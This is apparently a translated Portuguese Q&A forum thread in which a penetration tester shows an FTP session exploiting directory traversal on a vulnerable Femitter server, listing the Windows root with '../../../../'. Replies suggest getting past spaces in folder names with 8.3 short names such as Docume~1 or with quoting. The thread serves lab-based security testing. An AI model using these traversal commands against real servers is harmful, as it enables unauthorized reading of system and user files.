Estou conduzindo um protesto sancionado em um ambiente fechado de referência e lutei com uma questão aparentemente simples que atualmente não consigo resolver.
Ao tentar executar um ataque de travessia de diretório contra um servidor FTP Fermitter vulnerável em execução no sistema operacional MS Windows, é possível fazer uma LIST na raiz do sistema (endereços e listagens de conteúdo alterados aqui apenas para referência):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
No entanto, se eu quiser listar o conteúdo de uma pasta que contenha espaços em branco, como Documents and settings
, não consigo listar o conteúdo do diretório devido a espaços em branco serem ignorados.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Eu já tentei usar diferentes clientes FTP (CLI e GUI, no Linux e Windows) e eles ignoram os espaços em branco ou impedem a passagem de diretório.
Também tentei criar scripts para o ataque no Python usando primeiro os soquetes brutos e depois o ftplib para enviar os comandos no formato HEX diretamente para o servidor FTP, mas sem sucesso.
Pesquisar no Google por algumas horas não resultou em uma solução funcional (sim, havia muitas opções, que não funcionaram), é por isso que há alguém aqui que teve o mesmo problema. Certamente, essa não é a primeira vez que uma travessia de diretório com espaços em branco é necessária.
fonte
\
ou citar a cadeia de diretório #Respostas:
Solução sugerida por @Dogeatcatworld para usar a notação curta de diretório do MS Windows, como
C:\Docume~1\
.Um artigo realmente bom da Base de Dados de Conhecimento da Microsoft explica a notação de diretório 8.3: Como o Windows gera nomes de arquivo 8.3 a partir de nomes longos de arquivo
fonte
Fonte: Como posso encontrar o caminho curto de um diretório / arquivo do Windows?
fonte
O ftp não usa codificação de URL, portanto,% xx não funcionará a menos que você esteja usando ftp em um navegador que possa traduzi-lo para você.
Tente usar aspas ao redor, ou seja, ls "../../some dir"
fonte